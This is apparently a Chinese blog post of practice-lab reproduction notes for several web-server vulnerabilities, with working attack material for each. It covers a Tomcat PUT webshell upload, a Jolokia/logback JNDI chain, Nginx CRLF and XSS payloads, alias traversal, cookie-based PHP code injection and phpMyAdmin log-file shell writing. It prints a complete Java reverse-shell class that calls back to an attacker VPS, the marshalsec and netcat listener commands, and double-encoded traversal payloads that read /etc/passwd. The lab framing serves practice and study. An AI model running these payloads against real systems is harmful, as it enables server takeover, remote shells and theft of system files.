漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件.
虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用/)来绕过了限制。
直接发送以下数据包即可在Web根目录写入shell:
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
this is shell
如下:
结果:
重点:此漏洞仅在目标机器jdk版本低于v1.8_191可复现(靶场为8u181)
复现过程主要参考零组文库,首先在自己的vps的当前目录(test)上用python3开启web服务
在目录下创建java文件,并编译得到class文件。JNDIObject.java
文件内容在下方给出。
编译语句:javac -source 1.5 -target 1.5 JNDIObject.java
架设恶意 rmi 服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://vps:8080/#JNDIObject 1389
监听端口,nc -lvp 443
最后执行exp,即访问该poc(需要更换自己vps的ip):
https://【靶场url】/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/logback.xml
很快就能收到shell:
若出现以下报错,是jdk版本过高的原因。可切换或安装1.8版本的jdk:
JNDIObject.java(请自行修改代码中反弹shell的ip和端口)文件内容:
/**
* javac -source 1.5 -target 1.5 JNDIObject.java
*
* Build By LandGrey
* */
import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class JNDIObject {
static {
try{
String ip = "your-vps-ip";
String port = "443";
String py_path = null;
String[] cmd;
if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
for(int i = 0; i < py_envs.length; ++i) {
String py = py_envs[i];
if ((new File(py)).exists()) {
py_path = py;
break;
}
}
if (py_path != null) {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
} else {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
}
} else {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{"/bin/bash"};
} else {
cmd = new String[]{"/bin/sh"};
}
}
} else {
cmd = new String[]{"cmd.exe"};
}
Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
Socket s = new Socket(ip, Integer.parseInt(port));
InputStream pi = p.getInputStream();
InputStream pe = p.getErrorStream();
InputStream si = s.getInputStream();
OutputStream po = p.getOutputStream();
OutputStream so = s.getOutputStream();
while(!s.isClosed()) {
while(pi.available() > 0) {
so.write(pi.read());
}
while(pe.available() > 0) {
so.write(pe.read());
}
while(si.available() > 0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50L);
try {
p.exitValue();
break;
} catch (Exception e) {
}
}
p.destroy();
s.close();
}catch (Throwable e){
e.printStackTrace();
}
}
}
打开网站,使用poc完成文件读取:
curl "127.0.0.1/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
如图:
读flag的poc:
http://[靶场url]/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fflag.txt%23foo/development%22
Nginx会将$uri进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞。
错误的配置文件示例(原本的目的是为了让http的请求跳转到https上):
location / {
return 302 https://$host$uri;
}
Payload: http://url/%0a%0dSet-Cookie:%20a=1
,可注入Set-Cookie头。
利用Payload: http://url/%0D%0ASet-Cookie:%20a=1%0d%0a%0d%0a<img src=1 οnerrοr=alert(/xss/)>
,可构造一个xss漏洞:
Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞。
错误的配置文件示例(原本的目的是为了让用户访问到/home/目录下的文件):
location /files {
alias /home/;
}
Payload: http://URL/files../ ,成功穿越到根目录:
Nginx配置文件子块(server、location、if)中的add_header,将会覆盖父块中的add_header添加的HTTP头,造成一些安全隐患。
如下列代码,整站(父块中)添加了CSP头:
add_header Content-Security-Policy "default-src 'self'";
add_header X-Frame-Options DENY;
location = /test1 {
rewrite ^(.*)$ /xss.html break;
}
location = /test2 {
add_header X-Content-Type-Options nosniff;
rewrite ^(.*)$ /xss.html break;
}
但/test2的location中又添加了X-Content-Type-Options头,导致父块中的add_header全部失效:
XSS可被触发:
访问http://URL/uploadfiles/nginx.png
和http://URL/uploadfiles/nginx.png/.php
即可查看效果
增加/.php后缀,被解析成PHP文件:
也可配合文件上传来getshell。此处不再演示。
在网站首页,点击右上角国旗图标(网站样式不完整,但功能没问题)。切换语言并抓包:
抓包直接修改cookie内容,在language后添加'.phpinfo().'
:
直接点击burp中的forward,此时会有第二次发包过程,再次重复上一步的修改后点击forward:
可见代码已被成功执行。
使用一波phpmyadmin的弱口令,root/123456成功登进后台
访问:
http://[靶场url]:81/index.php?target=db_datadict.php%253f/../../../../../../../../../etc/passwd
利用方式也比较简单,可以执行一下 SELECT ‘<?php phpinfo()?>’;
到phpmyadmin后台后,getshell方法还很多,比如利用改变写入的日志的路径,写入我们的一句话木马,
首先呢,介绍两个MySQL全局变量(general_log、general_log file)
成功getshell。
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.